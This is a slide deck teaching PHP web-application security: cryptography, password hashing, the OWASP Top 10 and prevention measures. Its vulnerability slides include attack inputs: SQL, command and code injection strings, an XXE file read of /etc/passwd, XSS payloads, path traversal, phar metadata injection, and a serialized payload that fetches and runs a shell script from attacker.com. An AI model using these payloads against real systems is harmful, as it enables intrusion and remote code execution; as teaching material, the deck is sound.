Security in
Web-Applications

Agenda

  • General
  • Cryptography
  • OWASP Top 10
  • Howto Prevent

General

Your system is NOT secure

Every day new 0-Day exploits will be published


Do not implement your own Cryptography!

Cryptography is hard. Hard to design and hard to implement

via knowyourmeme

Please, close unnecessary Ports

02/2019- Shodan search for MySQL (Port 3306): 5.230.190 Results


and no "blind" default config

09/2017 - "More than 26,000 vulnerable MongoDB databases whacked"

Use latest Software Versions

  • PHP Nullbyte string termination ?file=myfile%00 Fixed
  • nginx Nullbyte URI Security Bypass CVE-2013-4547

Log attacks

  • Know how many attacks you receive
  • Know which attacks you receive

                    // 8 IPs, > 1000 Requests
                    62.109.30.xxx - - [07/Feb/2019:06:26:50 +0100] "POST /admin/index.php?route=common/login HTTP/1.1" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0"
                

Cryptography

Symmetric / Asymmetric

Symmetric
  • Use a single defined key
  • is fast
  • AES with Rijndael
Asymmetric
  • Use a public and private key
  • is slower
  • RSA, ECC
  • digital signatures

What should i use?

  1. Encrypt the Message symmetric
  2. Encrypt the Key asymmetric
  3. Sign the Message-Hash

RSA (Rivest, Shamir and Adleman)

  • <=1024Bit is not secure

ECC (Eliptic Curve Cryptography)

  • Faster in generating Keys
  • ECC 256 Bit ==Same Security== RSA 3072 Bit

Symmetric / Asymmetric

Insecure encryption modes


                    head -n 4 example-image.ppm > header.txt && tail -n +5 example-image.ppm > body.bin

                    openssl enc -aes-128-cbc -nosalt -pass pass:"SECURE_PASSWORD" -in body.bin -out body.cbc.bin
                    cat header.txt body.cbc.bin > example-image.cbc.ppm

                    openssl enc -aes-128-ecb -nosalt -pass pass:"SECURE_PASSWORD" -in body.bin -out body.ecb.bin
                    cat header.txt body.ecb.bin > example-image.ecb.ppm
                
CBC ECB Original

Diffie–Hellman key exchange

  • Exchange keys over insecure connections
  • Not safe against MITM Attacks
    • A signing is required with a previous received key

PQC (Post-quantum cryptography)

  • Current asymmetric Crypto is not safe
  • prime decomposition (RSA) and discrete logarithm (ECC) is not a problem anymore
    • Shor Algorithm
  • current stored crypted messages can be unecrypted in the future
via GIPHY

Requirements of Hash algorithms

  • Low probability of collisions
  • Output should be lower than input
  • Chaos / Avalanche Effect
  • calculation back should be impossible
  • Same data should generate the same hash
  • Should be fast and efficiency

Hashing

  • md5('text'); 128 Bit NOT SECURE
  • sha1('text'); 160 Bit, First collison 02/2017
  • hash('SHA512', 'text'); 512 Bit, SHA2
  • hash('SHA3-512', 'text'); 512 Bit, No known Issues

Hashing

Check always of type safety


                    var_dump(md5('240610708') == md5('QNKCDZO')); // true
                    $a = 0e462097431906509019562988736854; // double
                    $b = 0e830400451993494058024219903391; // double
                
  • better hash_equals()
  • or sodium_compare()

Password

  • save never as plaintext
  • use salt and pepper (with hmac) for hashes
  • use slow hashing methods

$pepperFile = __DIR__ . '/.secret_password_pepper';
$password = '123456';
$salt = random_bytes(32);
if (!file_exists($pepperFile)) {
    file_put_contents($pepperFile, random_bytes(64));
}
$pepper = file_get_contents($pepperFile);

$hashed = hash('sha3-512', $salt . $password);
$hashedHmac = hash_hmac('sha3-512', $hashed, $pepper);
echo 'Salt: ' . bin2hex($salt) . PHP_EOL;
echo 'Pepper: ' . bin2hex($pepper) . PHP_EOL;
echo $hashed . PHP_EOL;
echo $hashedHmac . PHP_EOL;

// Salt: c76eb9d865300c03e78e2169545ca7d8c3737bb51bd7b9948d993c06e12053ae
// Pepper: 573c9958b8374cfa5ff857f81484d3108ec5be503d57ed61e9ad54a5b52c4bf17b756bbb8599faa3ded5102708bca79360c1b42aa651b631417ed402905eca67
// 3493222c96d4552476947f5f4576ae3bb24111d344ea5bb328a077b5614f61e92227a7ad829d8034268353668aae29c980bad74f04294e547727784c3f5922b1
// 643cf52d5094b481d07a0d72d0bf808609247d8851dee3656f4c42e1adf2620cc87d60022327a872034bbb9b443d4f7b3c1173e12c4546a3cfddfae04cfed63b

                

Password hash

combines hashing with salt


                    // hash
                    password_hash("myPassword", PASSWORD_BCRYPT, ['cost' => 15]); // ~2 seconds
                    $res = '$2y$15$nGhD0QbXdvm5YBIF.OAKFOoVeFyK4AiRTF.rq.WnyFjhPRxiQeetm';
                    $res = '$2y$15$FRNSQUyNbqi1cJ6Qv.zlMuLOsBNuoxMtlOvC16VqTeuTip6Z8PhDa';
                    // for sensitive accounts
                    password_hash("myPassword", PASSWORD_ARGON2ID, [
                        'memory_cost' => PASSWORD_ARGON2_DEFAULT_MEMORY_COST, // 1024 kb
                        'time_cost' => PASSWORD_ARGON2_DEFAULT_TIME_COST, // 2 seconds
                    ]);

                    // verify
                    var_dump(password_verify('myPassword', $hash)); // true, ~2 seconds
                    var_dump(password_verify('nyPassword', $hash)); // false, ~2 seconds

                    // needs rehash?
                    if (password_needs_rehash($hash, PASSWORD_BCRYPT, ['cost' => 20])) {
                        $newHash = password_hash($password, PASSWORD_BCRYPT, ['cost' => 20]);
                    }
                
  • No timing attacks possible and Bruteforcing will take forever

Modern Crypto

  • Sodium PHP >= 7.2
    • Extension in PHP >= 7.0
  • PASSWORD_ARGON2I PHP >= 7.2
  • PASSWORD_ARGON2ID PHP >= 7.3
  • NOT mcrypt!

Sodium

  • A portable, cross-compilable, installable, packageable, API-compatible version of NaCl
  • Support Signatures
  • Support Hashing
  • Secure pseudo-random Numbers

Example: Sodium


                    $password = 'password';

                    $hashSodium = sodium_crypto_pwhash_str(
                        $password,
                        SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE,
                        SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE
                    );

                    $hashPwHash = password_hash($password, PASSWORD_ARGON2ID); // Requires PHP 7.3+

                    sodium_memzero($password); // clears the memory
                    // sodium_crypto_pwhash_str_needs_rehash() needs a rehash?

                    assert(sodium_crypto_pwhash_str_verify($hashSodium, $password));
                    assert(password_verify($password, $hashPwHash));
                    assert(sodium_crypto_pwhash_str_verify($hashPwHash, $password));
                    assert(password_verify($password, $hashSodium));
                

Side Channel Attacks


                    // EXAMPLE! NEVER USE THIS FOR PRODUCTION!
                    function verifyOwnCrypt(string $password, string $validate): bool
                    {
                        $length = strlen($validate);
                        for ($i = 0; $i < $length; $i++) {
                            $char = $validate[$i]; usleep(500); // usleep to prevent bruteforcing
                            $chunk = (string)(ord($char) + 14);
                            if (substr($password, 0, strlen($chunk)) === $chunk) {
                                $password = substr($password, strlen($chunk));
                            } else {
                                return false;
                            }
                        }
                        return true;
                    }

                    $myPass = '1231359711511312811513094111129129133125128114'; // mySecretPassword
                    verifyOwnCrypt($myPass, 'mySecretPassword'); // true, 0.0092s
                    verifyOwnCrypt($myPass, 'aa'); // false, 0.0006s
                    verifyOwnCrypt($myPass, 'ma'); // false, 0.0012s

                    // PHP >= 5.6
                    hash_equals($knownString, $userString)
                    // PHP >= 7.2
                    sodium_compare();
                
  • Measure the time or power consumption

OWASP

TOP 10 (2017)

  1. Injection
  2. Broken Authentication
  3. Sensitive Data Exposure
  4. XXE NEW
  5. Broken Access Control
  6. Security Misconfiguration
  7. XXS
  8. Insecure Deserialization
  9. Using Components with known Vulnerabilities NEW
  10. Insufficient Logging & Monitoring NEW

TOP 10 (2014)

  • 8. CSRF
  • 10. Unvalidated Redirects and Forwards

Injection (SQL)

PHP 10 Years ago


                    $user = $_POST['user'];
                    $passwordHash = sha1($_POST['password']);
                    $db->query("SELECT * FROM users WHERE username = '$user' AND password_hash = '$passwordHash'");
                    // foo' OR username = 'admin' --
                

PHP now with prepared statements


                        $user = $_POST['user'];
                        $passwordHash = sha1($_POST['password']);
                        $db->query("SELECT * FROM users WHERE username = :user AND password_hash = :hash", [
                            'user' => $user,
                            'hash' => $passwordHash
                        ]);
                    

Injection (SQL)

Prepared Statements and IN


                    $_GET['status'] = ['open', 'accepted'];

                    // No! Sql injection possible
                    $db->query("SELECT * FROM issues WHERE status IN ('". implode("','", $_GET['status']) ."')");
                    // Not working because the query looks like this: 'IN("open, accepted")'
                    $db->query("SELECT * FROM issues WHERE status IN (:status)", [
                        'status' => implode(',', $_GET['status'])
                    ]);

                    // this works
                    $db->query("SELECT * FROM issues WHERE status IN (?,?)", $_GET['status']);
                
  • Prepared Statements are not working for tablenames or fields

Injection


                    // command injection
                    $content = system('cat ./' . $_GET['file']); // $_GET['file'] = file;ls
                    // code injection
                    eval('$a = ' . $_GET['input'] . ' + 3;'); // $_GET['input'] 5;phpinfo();#
                
  • create_function
  • preg_match e modifier

Injection

Broken Authentication

  • Bruteforce with dictionary attacks
  • Ineffective credential recovery (Social Engineering)
  • Don't allow weak passwords
    1LoveMyDogAndMyWife!OhAndPHPisCool:) -> very secure password, but that is a other topic

Prevent

  • Invalidate session, don't expose Session
  • use multi factor authentication

Broken Authentication

Sensitive Data Exposure

  • not using HTTPS
  • Allow iterating over User-IDs
  • Unencrypted communication between server

GDPR / DSGVO

  • Very very expensive!

Sensitive Data Exposure

Expose information about registered emails

  • User registration form
    • The E-Mail is already registered
  • Measure the response time

                    $allowedUserMail = ['user@domain.tld'];
                    $mySecretKey = sha1('mySuperSecurePassword');
                    if (!in_array($_GET['mail'], $allowedUserMail) {
                        exit('Access denied');
                    }
                    // if we found a correct email, the response time will increase
                    $userHash = sha1($_GET['password']);
                    if ($userHash !== $mySecretKey) {
                        exit('Access denied');
                    }
                

XML External Entities (XXE)


                    <?xml version="1.0" encoding="ISO-8859-1"?>
                    <!DOCTYPE foo [
                    <!ELEMENT foo ANY >
                    <!ENTITY xxe SYSTEM "file:///etc/passwd">
                    ]><foo>&xxe;</foo>
                

Default disabled with libxml2 version >= 2.9.0

libxml_disable_entity_loader(true);

Broken Access Control

Broken Access Control

  • /user/editprofile?userid=1
  • Access Control only for GET Requests but not for POST
  • Authentication process is too late

Broken Access Control


                    class UserController
                    {
                        public function resetPasswordAction()
                        {
                            $this->user->resetPassword();
                        }
                    }

                    class UserEventHandler
                    {
                        public function onDispatch()
                        {
                            if (!$this->authenticateUser()) {
                                throw new ErrorResponseException('Not authorized');
                            }
                        }
                    }
                

                    UserController is called before the UserEventHandler
                    You will not directly see the output and think it's safe
                

Security Misconfiguration

  • MongoDB - default listening on IP 0.0.0.0 =< 2.6.0
  • Directory listing is not disabled
  • Print full exception and error messages
  • PHP open_basedir

Cross-Site-Scripting (XSS)

Reflected XSS


                    <!-- ?user=<script>alert(/Reflected XSS/)</script> -->
                    Hello: <?php echo $_GET['user']; ?>
                

Stored XSS

  • User comments

DOM XSS

  • Load controllable JS-Library on demand

Cross-Site-Scripting (XSS)

Self XSS


                     .d8888b.  888                       888
                    d88P  Y88b 888                       888
                    Y88b.      888                       888    This is a browser feature intended for
                     "Y888b.   888888  .d88b.  88888b.   888    developers. If someone told you to copy-paste
                        "Y88b. 888    d88""88b 888 "88b  888    something here to enable a Facebook feature
                          "888 888    888  888 888  888  Y8P    or "hack" someone's account, it is a
                    Y88b  d88P Y88b.  Y88..88P 888 d88P         scam and will give them access to your
                     "Y8888P"   "Y888  "Y88P"  88888P"   888    Facebook account.
                                               888
                                               888
                                               888
                

Insecure Deserialization

  • never (un)serialize user data
    • define 3. parameter with allowed_classes
  • Unserialize a known class and run __destruct
  • Create new SimpleXMLElement with XXE

Insecure Deserialization


                    class FileHandler
                    {
                        private $temporaryFile = '';
                        public function __destruct()
                        {
                            exec('rm ' . $this->temporaryFile);
                        }
                    }

                    $userData = unserialize($_POST['userData']);
                    // a:2:{s:6:"userID";i:1;s:5:"token";s:3:"foo";}
                    // Array ( [userID] => 1, [token] => foo)
                

                    a:3:{s:6:"userID";i:1;s:5:"token";s:3:"foo";s:3:"tmp";O:11:"FileHandler":1:{s:26:"FileHandlertemporaryFile";s:57:"/tmp/file;wget -O- http://attacker.com/shell.sh | /bin/sh";}}
                

Insecure Deserialization

.phar File Meta-File injection


                    // create new Phar
                    $phar = new Phar('test.phar');
                    $phar->startBuffering();
                    $phar->addFromString('test.txt', 'text');
                    $phar->setStub('<?php __HALT_COMPILER(); ?>');

                    // add object as meta data
                    $object = new FileHandler();
                    $object->temporaryFile = ';shell execution';
                    $phar->setMetadata($object);
                    $phar->stopBuffering();
                

Insecure Deserialization


                    if (file_exists($_GET['file'])) {}
                    // ?file=phar:///uploads/test.phar
                
  • The metadata of the phar comment will be unserialized and executed!

Prevent

  • Set file handler for each file operation function:

                        "https", "ftps", "compress.zlib", "php", "file", "glob", "data", "http", "ftp", "phar", "zip"
                    

                        file_exists('file://' . $_GET['file']) // safe
                    

Using Components with known Vulnerabilities

  • Use Composer security-checker
  • Use npm npm audit
  • Update the Software as soon as possible
  • Reduce your dependencies

Insufficient Logging & Monitoring

  • Log all the things
    • Bruteforce
    • Failed security validations
    • attack rate
  • Push the logs to another system
    • no attacker should be able to delete the logs
  • An Security audit should be visible in the Monitoring system
    • OWASP ZAP
    • DAST and SAST Tools

Cross Site Request Forgery (CSRF)

  • Attack the user with his Authentication without stealing it
  • Add CSRF-Tokens for all Requests
    • even for POST Requests
    • and for XHR

                    POST /user/changeEmail
                    Host: domain.tld
                    Content-Type: application/json

                    {"newEmail": "attacker@example.com"}
                

Unvalidated Redirects and Forwards

  • Forward a user with a HTTP Redirect to any site
    • Redirect the user to a phishing Site

Howto Prevent?

and examples

Howto Prevent?

  • Don't trust the User
  • Don't trust your Software
  • Never trust your own Crypto
    • Just, don't use your own crypto at all
  • Create a Bugbounty Program (after you have sufficient logging!)
  • DAST and SAST in the Nightly builds

Don't trust your Software


                    $email = '"><svg/onload=confirm(1)>"@x.y';
                    if (filter_validate($email, FILTER_EMAIL)) {
                        printf('<a href="mailto:%s">%s</a>', $email, $email);
                    }
                

Do whitelisting, no blacklisting


                        // prevent path traversals
                        $file = str_replace('../', '', $_GET['file']);
                        echo file_get_contents('./path/to/files/' . $file);
                        // /attack.php?file=..././..././..././index.php
                    

Don't Hydrate all the data


                    class User {
                        private $username;
                        private $email;

                        public static function createFromPost(array $postData): self
                        {
                            $user = new self();
                            array_walk($postData, function($value, $key) use ($user) {
                                $user->{$key} = $value;
                            });
                            return $user;
                        }
                    }

                    User::createFromPost([
                        'username' => 'User',
                        'email'    => 'User@domain.tld',
                    ]);
                

                    class User {
                        // [...]
                        private $isAdmin = false;
                    }
                

Prevent sensitive leaks in logs


                    <?php
                    class DatabaseConnection
                    {
                        private $adapter;
                        public function __construct()
                        {
                            $this->adapter = new class() {
                                public function login(string $user, string $pass): bool {
                                    return false;
                                }
                            };
                        }

                        public function login(string $username, string $password)
                        {
                            if (!$this->adapter->login($username, $password)) {
                                throw new \Exception('Login to database failed', 100);
                            }
                        }
                    }

                    $connection = new DatabaseConnection();
                    $connection->login('db_user', 'secretpassword');
                

                    ❯ php example.php
                    PHP Fatal error:  Uncaught Exception: Login to database failed in /example.php:17
                    Stack trace:
                    #0 /example.php(23): DatabaseConnection->login('db_user', 'secretpassword')
                    #1 {main}
                      thrown in /example.php on line 8
                

Prevent sensitive leaks in logs


                    <?php
                    class DatabaseConnection
                    {
                        public function login(HiddenString $username, HiddenString $password)
                        {
                            if (!$this->adapter->login($username->getValue(), $password->getValue())) {
                                throw new \Exception('Login to database failed', 100);
                            }
                        }
                    }
                    final class HiddenString
                    {
                        private $value;
                        public function __construct(string $input)
                        {
                            $this->value = $input;
                        }

                        public function getValue(): string
                        {
                            return $this->value;
                        }
                    }

                    $connection = new DatabaseConnection();
                    $connection->login(new HiddenString('db_user'), new HiddenString('secretpassword'));
                

                    ❯ php example.php
                    PHP Fatal error:  Uncaught Exception: Login to database failed in /example.php:7
                    Stack trace:
                    #0 /example.php(26): DatabaseConnection->login(Object(HiddenString), Object(HiddenString))
                    #1 {main}
                      thrown in /example.php on line 7
                

Prevent dumps of objects in logs


                    <?php
                    final class HiddenString
                    {
                        private $value;
                        public function __construct(string $input)
                        {
                            $this->value = $input;
                        }

                        public function getValue(): string
                        {
                            return $this->value;
                        }

                        public function __debugInfo(): array
                        {
                            return [
                                'value' => '****Obfuscated****'
                            ];
                        }
                    }

                    $text = new HiddenString('secret');
                    var_dump($text);
                    print_r($text);
                

                    class HiddenString#1 (1) {
                      public $value =>
                      string(18) "****Obfuscated****"
                    }
                    HiddenString Object
                    (
                        [value] => ****Obfuscated****
                    )
                

Obfuscating with object

  • Overwrite PHP __debugInfo to prevent Data-Leaks in Logs and Debugger
  • Write a custom HiddenString Class for sensitive Informations as Arguments

Disable visible errors


                    if (hash('sha512', $_GET['user']) === $storedHash) {
                        echo 'Hello User!';
                    }
                    // example.php?user[]=oh&user[]=no
                

Warning: hash() expects parameter 2 to be string, array given

Use stronger Hashes


                        // Convert all old hashes with a cost < 20 to the new hash on the fly
                        if (password_needs_rehash($hash, PASSWORD_BCRYPT, ['cost' => 20])) {
                            $newHash = password_hash($password, PASSWORD_BCRYPT, ['cost' => 20]);
                        }
                    

Use of HTTP-Header

  • Content-Security-Policy

                    Content-Security-Policy: default-src https://domain.tld; img-src *; report-uri https://domain.tld/report/csp
                    Content-Security-Policy: script-src 'unsafe-inline';
                

                    // Content-Security-Policy: script-src 'nonce-2726c7f26c';
                    <script nonce="2726c7f26c">
                      var inline = 1;
                    </script>
                
  • X-Frame-Options – Prevent clickjacking
    • "deny", "sameorigin", "allow-from https://domain.tld/"
  • X-XSS-Protection
    • 1; mode=block

Use of HTTP-Header

  • Strict-Transport-Security (HSTS) – Prevent MITM Attacks
    • max-age=31536000; includeSubDomains
  • Set-Cookie
    • secure – only over HTTPS
    • httpOnly – not available with document.cookie
  • Referrer-Policy
    • strict-origin
    • <a referrerpolicy="origin"
    • <a rel="noreferrer"

Combine attacks

  • Use Clickjacking to execute selfXSS to a user
  • Use phar meta file deserialization to run XXE
  • Use CSRF to SQL-Inject a admin page with higher privileges
  • ... much more

Check out the OWASP Juice Shop


                    docker run --rm -p 3000:3000 bkimminich/juice-shop
                

Attack yourself

  • DAST with OWASP ZAProxy
  • SAST with phpcs-security-audit
  • nmap – Check your Network
  • sqlmap – Check for SQLi
  • Metasploit Framework
  • ... many many more

No prevention will be very expensive